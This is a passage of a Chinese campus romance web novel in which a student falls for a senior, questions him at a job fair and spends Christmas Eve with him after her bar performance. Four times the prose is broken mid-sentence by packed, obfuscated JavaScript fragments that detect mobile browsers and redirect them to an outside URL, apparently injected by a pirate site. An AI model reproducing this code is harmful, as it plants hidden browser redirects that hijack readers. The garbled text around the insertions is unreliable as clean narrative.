举手问问题的人很多，主持人作出为难的表情，“看来今晚的嘉宾们都很受欢迎啊，我还从来没遇到过这么多人问问题的场面。选谁好呢？” 讲堂里的喊声顿时此起彼伏，“选我！”“看这里！” “太难了。要不这样吧，让我们每位嘉宾说一个座位号，被点到的同学获得提问机会。如果你不想提问，可以把机会让给别人。大家觉得如何？” 众人应答：“好。” 这次没有从练天维开始了，而是从左往右依次来。 第一位嘉宾抽的是第一排中间的女生，女生兴高采烈地接过主持人手中的话筒，“我想问练天维学长，请问学长有女朋友了吗？” 问题一出，全场哄堂大笑。边洋洋没笑，她也特别想问这个问题，所以在紧张地等答案。 主持人从她手里拿过话筒，笑道：“交流会开始前，我就跟练学长打赌，赌一定有女生问他感情问题。那么，就请练学长回答一下？” 练天维无奈一笑，“我们今天的主题是求职，这位同学，你确定不要换一个问题？” 女生摇摇头，“我已经保研了，今天来这里就想知道这个问题的答案。” “没有。”练天维说完就把话筒递给了主持人。 边洋洋感觉到前后左右的女生都兴奋了起来，而自己提着的心则放下了一半。 单身可追，只是竞争对手过多。 吕欢凑到边洋洋耳边悄悄说：“学长单身，你赶紧抓住机会，加油哦～” “……”边洋洋配合道，“我会的。” 第二位嘉宾抽的座位号也是女生。她问的问题是：“请问练学长，我可以追你吗？” 吕欢有点愤愤不平，“现在这些女孩子都怎么了，这是求职交流会，又不是相亲大会，一个个都问这么不着调的问题。” 边洋洋也好想问这个问题，可是没机会，“我倒觉得人家女孩子挺勇敢的。” “你说得对。”吕欢立马改口，“情敌1号出现了。” 边洋洋没空理她，全神贯注地盯着讲台上的练天维，心里祈祷着他能干脆利落地拒绝掉问问题的女生。 她只能看到女生的背影，背影看着身材还行。 练天维这回是苦笑了，“在校期间有很多值得你付诸努力的事情，很抱歉，我不是其中之一。祝你前程似锦。” 边洋洋笑了。 “男神可没那么好追，这不是当众打脸么，笑死人了。” “就是，谁给她的自信。我看她长得挺一般啊，还不如你我呢。” 坐在边洋洋前面的俩女生幸灾乐祸地议论着。 主持人大概也觉得按这个趋势下去对其他嘉宾不太友好，对真正想找工作的同学也不公平，便道：“接下来的三个问题必须是和求职相关的，如果不是，就换别人来问，还请同学们配合一下哈。” 第三个轮到练天维抽了。他扫视全场，忽然在边洋洋的方向定格，“353号。” 没人站起来。 “谁啊？”讲堂里开始窃窃私语。 吕欢拐了下边洋洋的胳膊，“我的天！学长抽到你了！” 边洋洋愣了一下，随即赶紧看了下椅子上的编号，353，的确是自己。 边洋洋蹭地站起身，把羽绒服往后塞在座位上，站在讲堂最后面的学生会工作人员把话筒递给了她。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317141|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >边洋洋只觉心都快跳到嗓子眼儿了，比她小时候第一次登台唱歌还紧张。她接过话筒，手微微有些颤抖，深深地吸了口气，缓缓呼出。她把话筒放到嘴边，问什么呢？她完全没有准备啊，天知道她就是来看帅哥的。 你要冷静下来，赶紧想一个工作相关的问题，不然跟学长对话的机会就要给别人了。 “后排的美女，你的问题是什么？”主持人开始催她了。 边洋洋只好先开口，边说边想，“非常感谢学长学姐的分享，获益匪浅。” 她顿了一下，“我的问题是问练学长的，我想问的是，我想问，如果后面还有更好的offer，你会怎么选择？谢谢。” 主持人松了口气，“总算是工作相关的了，那就请练学长来回答吧。” 其他几位嘉宾像是早就预料到了此种局面，已经有些心不在焉了，坐在最右边那个甚至偷偷开始玩起了手机。 练天维冲边洋洋笑了笑，这个笑是他开场以来第一个露出了牙齿的笑容。 “我们在生活中经常要做选择，哪怕是成年人，实际上也不能都要。”一片哄笑声响起，边洋洋重新坐下，挺直了脊背，等着下文。 “做选择之前，我会先问自己短期、中期和长期想要的到底是什么，一份工作能带给你的无非是金钱，地位和成就感，把我想要的和它能提供给我的一一对比，选出最优解。所以，如果有更好的，为什么不要呢。雇主可以选择我们，我们也可以选择雇主，找工作本身就是一个双向选择的过程，没人要求我们拿到了第一个offer就一定要对它从一而终。” 练天维说完这话，掌声就响了起来。 本来边洋洋还觉得自己临时想出来的问题有些傻，现在这情形看起来，似乎也还好，主要是练天维回答得太精彩了。 后面的两个问题总算不是问练天维了，被抽到的人据说是其他嘉宾的亲友团。 问答环节结束，五位嘉宾迅速地进了讲堂的后台，人群只好按工作人员的引导有序地离了场。 边洋洋和吕欢从后门走了出去。 “哎，有点可惜，眼看快到元旦了，本来想当面邀请学长去我家玩儿，泡汤了。”吕欢边走边说，“我跟学长的缘分大概就止步于此了吧。” 晚上风大，一轮弯月挂在天边，风吹散了阴霾，很难得地，边洋洋一仰头就看见了几颗星星。 明天肯定是个大晴天，她想。 “顺其自然就好，”边洋洋打开跟练天维的聊天框，“学长一看就是那种乐于助人的人，可能你只是他帮过的众多人中的一个，他根本没放在心上。” 吕欢认真地点了点头，“你说得对，学长他以前在校学生会任职的时候口碑就挺好的，下面的人都服他。” “哦。”边洋洋忍着寒冷给练天维发消息。 洋洋得意：学长，我去参加你的交流会了，还特别幸运地被你选中，问了你问题，你有印象吗？ 15. 第 15 章 想到还有半年就要出国了，边洋洋突然有种紧迫感。她这颗心动得有点晚，却来势汹汹，恨不得原地两情相悦，在毕业前谈一场轰轰烈烈的恋爱。 她急了，所以她顾不上思考自己的行为是否莽撞，直接把今晚的事说开了。 现在，她把手机握在掌心，任凭寒风刺骨，就为了能第一时间看到练天维的回复。 吕欢缩了缩脖子，“这波冷空气有点凶啊，保不齐要下雪呢。诶，要不咱顺路去便利店吃个关东煮？” 边洋洋这会儿可没心思吃东西，一分钟过去了，练天维还没有回她消息。 “不吃了吧，我还有泡面和自热火锅，请你吃。” “可以可以，我要自热火锅。” 一直到两人回了宿舍，练天维都没有回边洋洋消息。 不会是见光死了吧？？哎，早知道就不这么冲动了…… 难道学长从我的字里行间看出了我的心思？其实也没那么明显吧……她已经够委婉了。 不会把我拉黑了吧？ 边洋洋脑补了许多，发了一个狗狗眼巴巴的表情去试探。还好，没有出现红色感叹号。 吕欢已经把自热火锅加好了水，就等着十五分钟后开吃了。 “你怎么一直拿着手机不放？” 边洋洋闻言把手机放在了自己电脑旁充电，“我先去洗漱了。” 等她没精打采地从卫生间出来，吕欢已经开吃了。 看了眼手机，还是没消息。她换好睡衣，爬到床梯的一半处又下了地，把手机的充电线拔掉，拿上手机再次爬梯子。 刚爬上床躺下，手机“叮”一声，屏幕亮起，显示练天维的消息。 练天维：嗯，那还挺巧的，你的问题问得很好，不知道我有没有解答你的疑惑。 边洋洋喜上眉梢，下意识在窄床上翻了半圈面朝墙壁，然后立马回复。 洋洋得意：你答得很好，醍醐灌顶。 洋洋得意：学长你真人比照片还要帅！ 洋洋得意：猫咪转圈.jpg 练天维：过奖了，就是自己的一点看法而已。你也很漂亮啊，主持人刚还跟我说呢，说你特别像校园偶像剧里的女主角。 边洋洋一个起立坐了起来，红着脸把这句话来来回回品了几遍。这对话怎么看都有点儿暧昧的意味，看来自己给他的第一印象还不错？ 洋洋得意：学长你散会了之后一直跟主持人待在一起？ 练天维：嗯，她非要请我们几个吃夜宵。 边洋洋挣扎了一下，是不懂事地缠着人聊天满足自己的私欲呢，还是懂事地结束对话给人留个好印象呢。 半晌后，她缓缓打出一行字。 洋洋得意：那你慢慢吃，我就不打扰了哈。 她还有时间，不必争这分秒。这么想着，边洋洋设置了飞行模式，把手机放在床头，重新躺下了。 这一晚上，她又做梦了，梦的内容跟开学那晚初见练天维有些相似，只是梦中人说话更多了，每说一句边洋洋就羞得面红耳赤。 第二天晚上是平安夜，边洋洋要去清吧表演，清吧专门针对圣诞搞了促销活动。周老板在员工群里发了个大红包，让大家帮忙在自己的社交平台转发。 边洋洋转发完之后又单独转给了练天维，跟他说自己今晚在那儿有表演，问他有没有空去捧场，吃的喝的她请。 练天维过了会儿才回复，他今天收到了很多邀请。有些直接无视，有些客气地回绝了。看到边洋洋的消息时，他犹豫了。 陶然今晚组了个局，参加的都是毕业后要去阳城发展的A大学生。练天维之前已经答应了他要去，地点就定在学校附近的KTV。 要换作以前的他，肯定会毫不犹豫地拒绝边洋洋，不过是个面都没见过几次的学妹而已，毕业后多半也不会有任何交集，这样的人脉犯不着浪费时间。 但是他现在却实实在在地动摇了。边洋洋唱歌很好听，几年前在歌手大赛第一次听，练天维就被她干净的嗓音和弹吉他的样子吸引了。听她唱歌，内心会变得宁静，轻易就抚平了他的焦躁。 他通过周晗结识了周老板，所以A大从他加入校学生会起，每届新生校园歌手大赛都能请到小有名气的独立音乐人周老板来做评委或是表演一曲。 周老板也喜欢边洋洋的歌声，说她有股未经雕琢的灵气。 那时，练天维已经退居幕后，他没有跟边洋洋说过话，只在边洋洋注意不到的角落里注视过她，那时的她青涩无比，还是个活脱脱的清秀少女，跟高中生没两样。 边洋洋在清吧做兼职的这几年里，练天维有时压力大了或是心情不好了就会去清吧坐坐，找一个远离舞台的角落，一个人一杯酒，静静地听边洋洋唱歌。 他没有想到机缘巧合之下，在即将毕业离开北城的这一年，边洋洋竟跟他成了网友。 边洋洋看着练天维的回复，失望地垂下了眼帘。练天维果然不会卖她面子，自己在他心里本来就不是什么重要的人。 你算老几啊，她在心里说。 丧了一会儿，她收拾心情重新整理歌单，把临时新增的一首歌删了，那首歌的歌名叫《最浪漫的事》。 设计课在11月就已经结课。现在虽然没有课了，但A大的老师们要求严格，毕业论文可不是随便糊弄就能过关的，环境学院大四的学生们依旧忙碌。 所以，非节假日的时间，边洋洋只每周五晚上去清吧兼职。虽然只演唱两个小时，但平时做的准备工作可不少。歌单须得时常更新，及时学习和练习网红歌曲，她一周只有两次练习机会，就是参加吉他社每周固定的活动。 也正因为如此，她没有去费时费力且勾心斗角比较厉害的学生会。她做事做选择比较随心，最重要的是开心。喜欢唱歌，所以去参加歌手大赛，去清吧兼职，加入吉他社。想要为社会尽点绵薄之力，所以加入学校的志愿者协会。 用吕欢的话说，边洋洋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317142|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个看淡名利的单纯人。院里的荣誉她从来都不争不抢，但同学们投票的时候却爱投给她。 方心意总打趣她，说别人争了个头破血流，她坐收渔翁之利。 这样性子的边洋洋，突然对一个人生起了一种执念，很想很想得到他。这种欲望于她而言很陌生，她也隐约觉得这似乎是个危险的信号。 或许她该庆幸，练天维拒绝了她。边洋洋一边骑车一边这样想着，不知不觉已到了清吧所在的那条胡同口。 路边店铺都摆了圣诞装饰，“铃儿响叮当”的中英版本不绝于耳。天早早就黑了，大街小巷却热闹非凡，连情侣都比往日多了不少。 是了，这种节日正是约会的好时机，若是有暗恋的人，挑在喜庆的节日表白会更容易成功吧。 看着一对对手牵手的情侣，边洋洋第一次生出了羡慕，什么时候才会有人来牵我的手呢。 平安夜的人流不同凡响。边洋洋从侧门进去的时候，不过才六点半，空余座位寥寥无几。 Tony跟她打招呼，“小洋洋，这么冷的天怎么还骑车啊，你脸那么嫩，风跟刀子似的往上呼，你不心疼我都心疼了。” 边洋洋放下吉他，开始卸她的全副武装，围巾，手套，羽绒服，一一脱下，“哪有那么夸张，我有戴口罩。” “你也就仗着自己天生丽质，你过得这么糙，能不能学学我这个精致小零爱爱美。” Tony的叨叨边洋洋都听腻了，从不放在心上，她理直气壮道：“顺应自然接受本我，哪里就糙了，我不美吗？” “美美美！害，跟你掰扯不清。来来来，给你准备的圣诞帽，今晚表演的时候要戴上。” Tony从一个纸袋里拿出一顶红色白边的帽子，捏了捏帽子上垂着的白色小毛球，嵌在帽子上的彩灯就开始一闪一闪亮了起来。 “啊，一定要戴吗？这个会不会过于可爱了点儿。”边洋洋一米六的身高，二十出头的年纪，看着帽子有点发愁，装嫩真的好吗。 Tony已经把帽子展开举到了边洋洋头顶，“过节嘛，就要讲究个气氛，没看大家都戴了吗。你这颜值hold得住，保准一会儿小姐姐小哥哥们嗷嗷叫。” 边洋洋四下看了一圈，服务员们还真是都戴了，跟她这个同款，清吧里到处都是移动的彩灯。墙壁窗台都张贴了圣诞树、圣诞老人、圣诞礼物盒等装饰品，正门入口处还摆了一株一米五左右高度的圣诞树，树下堆满了各色的礼物盒，是今晚消费抽奖的礼品。 这么一看，是怪有气氛的。边洋洋的心情也好了起来，虽然还是有点遗憾。 她抬手从Tony手中接过帽子，“我自己来戴。” “哇塞，真他妈可爱！”Tony轻轻鼓掌，双眼贼亮，“得亏这里是正经清吧，不然你这样人畜无害的乖巧可爱小白兔，怕不是要被狼群给叼走，拆吃入腹，吃得骨头都不剩。” 一个念头闪过边洋洋脑海，练天维会不会喜欢可爱款？ 16. 第 16 章 “你帮我拍张照呗，”边洋洋给自己找了个理由，“在这里度过的最后一个圣诞节了，留个纪念。” “好啊，”Tony也拿了顶同款帽子戴上，“一会儿咱俩再拍个合照。” 边洋洋把自己的手机解锁后递给Tony，按照Tony的指示坐在了吧台的高脚椅上。 “双手托腮，微笑，”Tony煞有介事地指挥边洋洋摆pose，“露点牙齿，嗯，对，就这样，很可爱。” 连拍了好几张，Tony又让她换了几个别的姿势，等他拍满意了才把手机还给边洋洋。 “你今天耐心可真好，竟然任我摆布了这么久，稀奇。” 边洋洋不是个热衷拍照的人，以前Tony想拉着她当模特拍照，边洋洋最多给他摆一个姿势，再多就不乐意了。 “我要准备上台了，”边洋洋低头看手机里刚拍的照片，还算满意，“谢啦。” “诶等等，说好的合影呢。”Tony叫了一个附近的服务员，“帮我俩拍张照。” 合影完毕，边洋洋才拎上吉他去了后台。 她前脚刚走，就有两个年轻男人坐到了吧台，吧台斜对着舞台，转动高脚椅就能看清台上的人。 “一杯玛格丽特，一杯莫吉托。”其中一个男人对Tony说道。 “好的，二位稍等。” 另一个男人饶有兴致地看着Tony调酒，问的却是跟调酒毫无关系的话，“这位帅哥，刚才跟你一起的那个女孩子是你女朋友？” 这些年拐着弯儿打听边洋洋的男士可多了去了，之所以无人骚扰或是追求她，Tony功不可没。 只见他立马露出羞涩的笑容，炫耀道：“啊呀，这都被你们看出来了啊，我们在一起很久了，感情可好了。” 两位男士顿时一副吃了屎的表情。 “这椅子坐着不舒服，我们去那边的卡座吧。” “行，”刚才点单的男人对Tony道：“一会儿让服务员给我们送过来。” 说完，两人就起身准备走了。 “好的呢，两位慢走。”Tony偷偷在心里翻了个白眼。 还有五分钟就要开场了，边洋洋盯着聊天框发愣。时间一分一秒地溜走，六点五十九分的时候，边洋洋挑了一张自认最可爱的照片发给了练天维，然后把手机静音了。 陶然组的局是六点开始，KTV有品质不错的自助餐，一行人先吃饭再喝酒唱歌。不过才吃了半小时，就有麦霸开始唱了。 他们并不是完全陌生的校友，多少都听过或是见过彼此，加上情商都不低，很快就熟悉了起来。有些自来熟的，跟人聊起天来像多年相交甚笃的知己好友，其实不过才见过几次面而已。 对于这些即将走出象牙塔的年轻人来说，这次的聚会已经带了点社会上的功利意味在里边儿了。每个人心里大概都在琢磨着跟其他人相交于自己有什么好处。 练天维和陶然参加过不少这样的局，早已锻炼得游刃有余。练天维始终保持着得体的微笑，内心却并不如何开心。 在所有人都吃得差不多了的时候，练天维看到了边洋洋发来的消息。他的笑意总算达了眼底，轻触屏幕把照片保存了起来。 原来小学妹还有这么可爱的一面啊，真是有趣。 练天维在唱歌方面没什么天分，小时候他妈想让他学钢琴，他学了一个月就没去了。他妈的耳朵忍受了一个月的折磨，从此以后再没提让他学乐器。 他很小就明白一个道理。他就一普通人，不可能在各个领域都出类拔萃，在自己擅长的领域去努力才会事半功倍，何必拿自己的短板去和别人的长处竞争。 练天维并不爱K歌，但是他不喜欢在应酬场合落人下风的感觉。所以他苦练了几首外文歌，每次都唱固定的曲目，唱完总会迎来一片喝彩。 幸亏每次唱歌的人都不一样，不然就容易漏底了。唯一的知情人士陶然，则是会第一个带头鼓掌的捧场王，多年来两人互相打掩护配合默契。 “你怎么老看手机？今晚你还一首都没唱呢。”刚高歌完一曲的陶然一屁股坐到练天维身边，“我还等着给你吹彩虹屁呢。” 练天维看了一下表，已经快八点了，现在赶过去的话，还能听半个小时的小学妹现场版。 他站起身，深表歉意地对包厢里的人说道：“各位不好意思，导师突然有急事找我，你们尽情玩儿，今晚的消费我买单。” “兄弟慢走。” “好的好的，你去忙吧。” “多谢练老板请客～” …… 陶然自然是不信的，跟着他出了包厢，“你怎么了？真有事儿？” “嗯。”练天维不欲多解释，“重要的事。一会儿你帮我买单，回头找我报销。” “去你的，我付了就付了，报个屁销。滚吧你。” 边洋洋今晚选的歌曲都是偏欢快的，一些许久不见的老粉们来了不少，时不时就跟着一起哼唱，清吧里很是热闹。 中场休息的时候，边洋洋一边喝白开水一边看手机。消息很多，班级群里显示99+条消息，宿舍群、吉他社、志愿者协会群里也不少。可是置顶的那个联系人却安静如鸡。 边洋洋都不好意思打开聊天框，觉得一句话不说就发照片的自己蠢极了，可惜已无法撤回。 休息时间很快结束，下半场英文歌为主。她讲英语的时候带口音，但唱歌却几乎听不出来，听众会觉得很地道。 每唱完一首，台下都有人吹口哨。 练天维打车赶到清吧的时候，有不少人在排队等位。他拿着一个服务员给的号码牌，默默地站在等位的人群里。划出来的等位空间离舞台很远，却刚好是正对着的。 他丝毫不知自己立在人群里是如何地打眼，看向舞台上的边洋洋时，台上的人也正看着他。 四目相对的瞬间，边洋洋弹错了一个音。好在她现在演唱的是一首耳熟能详的歌曲，台下跟唱的人多，观众很难察觉。 练天维冲她微笑，微微点了下头。 边洋洋慌不择路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317143|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地收回目光，因为过于激动，唱破了一个音。 这首歌唱得实在有些艰难，小错不断，在练天维面前丢脸了，边洋洋尴尬得一比。 终于唱完，台下一片掌声。她偷偷抬眼看向练天维刚才站的位置，他在给她鼓掌，很用力的那种。 边洋洋的脸更热了些，她自恋地想，学长还是有点看重她的。 开始下一首歌之前，她冲舞台附近的服务员招手，服务员快步走到她身旁，“怎么了？” “帮我点一杯最贵的热饮给等位区的一位帅哥，不要咖啡和茶，穿中长款深蓝色大衣那位，他姓练。记在我账上。” 服务员点了点头，朝等位区看了一眼，的确是有这么一位帅哥，很显眼的存在，“好的，知道了。” 有酒有菜，还有美女的歌声陪伴，清吧里每桌消费的时长比普通餐饮店长很多。等位的人越来越多，吃喝完离开的没几个。今夜的餐饮娱乐业生意火爆，这个点儿去哪儿都得等位。清吧的等位区放了小零食和热茶，与其在外面冒着寒风到处找吃饭喝酒的地儿，还不如在这儿坐着听歌。 不少人拿出手机录起了视频。练天维没有录，因为周围人群的杂音太多了，效果远不如他以前非节日来清吧时录的。 他不动声色地瞥了眼旁边女生的手机，见她把录的边洋洋唱歌的视频分享到了自己的社交平台，配文表达对边洋洋的喜爱。 练天维抱臂欣赏台上人的表演，心说边洋洋这条件去混娱乐圈也是吃得开的吧，她弹吉他的时候让人觉得又酷又温柔，舍不得移开目光。转念一想，还是别混娱乐圈了，贵圈儿水太深，边洋洋这么单纯的人肯定要被欺负。 其实，之前还真有星探顺着清吧公众号找边洋洋来着，边洋洋毫不犹豫地拒绝了。追名逐利不是她所求，星探拿这点可以诱惑很多涉世未深的年轻人，但对边洋洋没用。她虽然还不明确硕士毕业以后的职业方向，但她知道哪些行业是她绝对不会涉足的，其中就包括娱乐圈。 新的一首歌唱到一半时，练天维收到了边洋洋给他点的热饮，大杯的红豆双皮奶，握在手里暖暖的。他喝了一口，甜而不腻，入口丝滑。 边洋洋的情绪调整过来了，最后的几首歌唱得很顺利。直到她表演结束，都没轮到练天维的号。 她快速在后台收拾好东西，背着吉他去收银台结了帐，收银的小哥哥送了她一个包装精美的苹果。 边洋洋一副为难状，每年平安夜都有人给她送苹果，男孩子给女生送，似乎已经不是单纯送苹果的意思了。 小哥哥笑了，“别推辞也别多想，今天在店里消费的顾客都有，你不要可就是便宜老板了。” “那好吧。”边洋洋顺手接过。 转身的瞬间，她看到了不知道什么时候站在她身后的练天维。 “学，学长，”边洋洋一紧张就结巴了，“你怎么有空过来了？” 啊呸，这说的什么话啊，边洋洋服了自己这张嘴了。 “如果我说，是专门来听你唱歌的，你信吗？” 17. 第 17 章 边洋洋的心狂跳，那必须信啊。学长他好会撩人，别人不知道，反正没谈过恋爱的她有点着不住。 “那，现在歌唱完了，学长要跟我一起回学校吗？” 本来想说请他一起吃夜宵，可看到清吧里座无虚席，根据往年的经验，这个点儿连学校食堂都没位置，还是算了。以前的平安夜，她表演结束后回到学校，只能在食堂打包带回宿舍吃。要是练天维住得离她的宿舍楼近，他俩都能一块儿吃，可研究生宿舍跟本科生宿舍是分开的，离得还不近。 倒也不是距离远近的问题。主要吧，他俩现在最多算是普通网友奔现了，还没熟到可以去彼此宿舍楼大厅的程度。边洋洋倒是不介意，但她怕练天维介意。 “好啊。” 练天维其实不想这么快就回去，但又不知道能跟边洋洋去哪儿。往年的这个时候，不是在跟一伙人聚餐就是在忙创业项目的事。如果不是临时起意，他现在还在KTV听人鬼哭狼嚎。 收银台的收音机里传出女主播甜美的声音，“寒潮来袭，气象局预报今晚可能会下雪，说不定大家明早起床就能看到雪景了，白雪跟圣诞节更配呢……” 两人往正门口走去，掀开门帘走到大街上，边洋洋惊讶道：“欸？真的下雪了？” 暖黄路灯灯光的照映下，纷纷扬扬的稀疏小雪花清晰可见。边洋洋摊开手掌去接，小雪花一触即化。 练天维落在她身后，看着她像小孩儿般追逐飘忽不定的雪花，突然冒出一个想法，“这里离学校不远，要不我们走回去？” 清吧离学校大约七八公里，走路回去也就一个多小时。 边洋洋收手回头，为自己刚才的回归本性汗颜，完了完了，学长肯定觉得我特幼稚…… 她一秒变回之前的拘谨乖巧模样，心说走路好啊，不仅能增加跟学长的相处时间，四舍五入算是雪中漫步了，还有点小浪漫呢，怎能错过。 “好啊，正好这个时间不好打车。”边洋洋取消了打车app上一直没人接单的订单。 练天维看了眼她身上背着的吉他包，“吉他我帮你拿吧。” 边洋洋笑道：“咱俩都不用拿，我把它放在店里就行。学长你进店里等我一下，我很快就好。” “好。” 两人再次走进了店里。练天维站在门口处，边洋洋去了吧台找Tony，“Tony哥，我把吉他放你房间哈。” Tony忙得不可开交，今晚客人实在太多，就算有兼职的学生帮忙也没得闲。 “没问题，钥匙在抽屉里，你自己拿。” 边洋洋拿了钥匙去了二楼，打开房门，在门后的角落里放好了自己的吉他，然后再锁门下楼。 她把钥匙放回抽屉，“谢了，明年再见哈，圣诞快乐，拜拜～” “嗯，圣诞快乐～” 离开清吧后，俩人拐进胡同，时而说话，时而沉默。 边洋洋既激动又害羞，一度不知道该跟练天维聊点什么，明明隔着网线的时候她话挺多的。好在练天维真的是个情商很高的人，随随便便几句话就把天聊活了。 边洋洋今晚的心情简直太美了，路上看到什么都顺眼得很。能看着练天维的帅脸，听他用那惑人的嗓音讲话，世上还有比这更幸福的事吗！？总之，线下体验比线上可好太多了。 这么想着，边洋洋的脚步刻意放慢了。 从清吧到学校，他们不紧不慢地走了近两个小时，小雪花没变大也没变密，路上行人脚步匆匆，无人打伞。 眼看就要到本科宿舍附近的西门了，边洋洋急中生智，“我想去书店看看，听说有新书，学长要一起去么？” 书店在东门，离研究生宿舍很远，这样一去一回的绕路，他们就又可以一起走很长的一段路了。边洋洋在心里给自己鼓掌，我可真是个小机灵鬼。 “好啊，正好离我住的地方近。” 太好了！他答应了！ 咦？好像有哪里不对？ 练天维说的是“住的地方”而不是“宿舍”，难道他不住学校？边洋洋脑子转得倒是快，求证一般问道：“学长你住在校外？” 练天维点了点头，“是啊，我在东门对面的小区租了房子。” 练天维本着亲兄弟明算帐的原则，坚持每月给陶然一笔房租，照这么说，的确是租房子了。 “这样啊……”边洋洋有丢丢失落，不过她随即想到，以后要是俩人成了恋人，在外面租房子倒是方便许多。于是，心情又好了，再次开口说话连语气都变得轻快了。 练天维自然不知道她脑补了那许多，只是看她脸上表情变化觉得可爱，心说真是个单纯的学妹，什么情绪都外露。 “那你是一个人住吗？”边洋洋问。 “不是，跟朋友一起住，是个两居室的房子。” “那挺好的。”也挺有钱的，边洋洋在心里说。 A大附近的小区房价高得吓人，哪怕是东门那片儿的老房子也不是一般人买得起的。两居室的一间房的租金起码是边洋洋这种普通大学生三个月的生活费。 练天维一进书店先去吧台买了两杯热饮。 “洋洋，给。”练天维把其中一杯递给边洋洋，叫她名字叫得极其自然，“这是热的冰糖雪梨汁，可以润嗓，要是不喜欢你就当个暖手宝拿在手里暖手。” 练天维买之前不是没想过问边洋洋喜欢喝什么，但鉴于边洋洋先前偷偷给他买饮品的行为，练天维觉得还是先斩后奏比较靠谱，免得又被抢先了。想到她唱了两小时的歌，就从菜单上为数不多的饮品里挑了个对嗓子比较好的。 “我喜欢的，谢谢学长。”边洋洋笑得很开心，原来学长是个这么细心又贴心的人。 “我还没谢你给我点的双皮奶呢，别客气。”练天维看了下陶然发给他的消息，又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317144|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把手机收了起来，“去逛你感兴趣的书？” 边洋洋哪里有什么感兴趣的书，装模作样地带着练天维往新书展台走去，又装模作样地把每本书都翻了翻，翻书的间隙还不忘偷瞄身旁的人。 翻完一圈一本书没买，反倒是练天维买了本计算机相关的书。 买完了书，也逛完了书店，时间已经快到第二天了。书店广播开始播报暂停营业，边洋洋没好意思再把人绊住了，索性就在书店主动跟人道了别。 “跟学长见面很开心。”边洋洋决定利用一下室友，“我舍友吕欢特别感激你帮她，她托我邀请你跟我们宿舍的人一起去她家玩儿，他们家就在本地郊区，有好吃的还有温泉，附近还有滑雪场。学长平时肯定很忙吧，正好元旦假期跟我们一起去放松放松。” 练天维看着她微笑，却没说话。 边洋洋十分忐忑，这事儿之前就在网上跟学长说过了，他当时就拒绝了，自己现在抱着私心再提这事儿，学长大概还是会拒绝的吧。明知会被拒，还要说出来，不过是想争取一个下次见面的机会罢了。 其实边洋洋这一路都在琢磨，怎么才能跟练天维有下一次见面的机会。邀请他再去清吧听歌？几个月后大概可行，同样的套路短时间内重复使用不好使。请吃饭？找不到合适的理由。 思来想去，吕欢大概是唯一的理由了。 边洋洋这番邀请，原本也是吕欢的想法，不管练天维是否同意，都好收场。 等待答复的时间分外难捱，边洋洋透过窗户看了眼外面，雪花变密了，这是今冬的初雪。作为一个南方人，边洋洋很喜欢下雪。这是她当年报考北城A大的原因之一。 边洋洋有个习惯，会在初雪这天许一个愿望，特别灵。 希望练天维学长可以答应她，这是她今年的愿望。 不知过了多久，店员来到他们身边，“不好意思两位，我们店要关门了，欢迎明天光临。” 店里就剩他们俩了。 也是，今晚这种特殊日子，谁还会在书店待到这么晚。 “好的。”边洋洋迈开步子往外走。 推门而出的那一刻，练天维说道：“谢谢邀请，我会考虑，晚点给你答复，好吗？” “嗯，我，我们真的很希望学长可以去。”边洋洋开心地点头，这已经是很好的答复了，初雪大神果然一如既往的灵。 “圣诞快乐。那，再见了。” “圣诞快乐，学长再见。” 练天维要离开之际，边洋洋突然把手里一直拿着的苹果塞到了他手里，“谢谢你来给我捧场，这对我来说很重要，今晚很开心，这个送给学长。” 说完，边洋洋就以百米冲刺的速度向学校东门跑去。 练天维望着远去的背影笑了，待人影消失才把目光移到了苹果上，包装纸上有清吧的广告。不是特意准备的，收下倒也无妨，他想。 18. 第 18 章 边洋洋慢慢减速直至正常步行，刚才跑得太急太快，寒风从口鼻灌到呼吸道，嗓子痒得难受。 但她心情很好，练天维没有直接拒绝她，这是否意味着她在练天维那里有那么一点点特殊？过完今晚，他们就不算是普通网友了，而是现实中的朋友了呢。而且，她还成功送了苹果，简直是意外之喜。 这是第一个对边洋洋有意义的平安夜，因为练天维的出现。 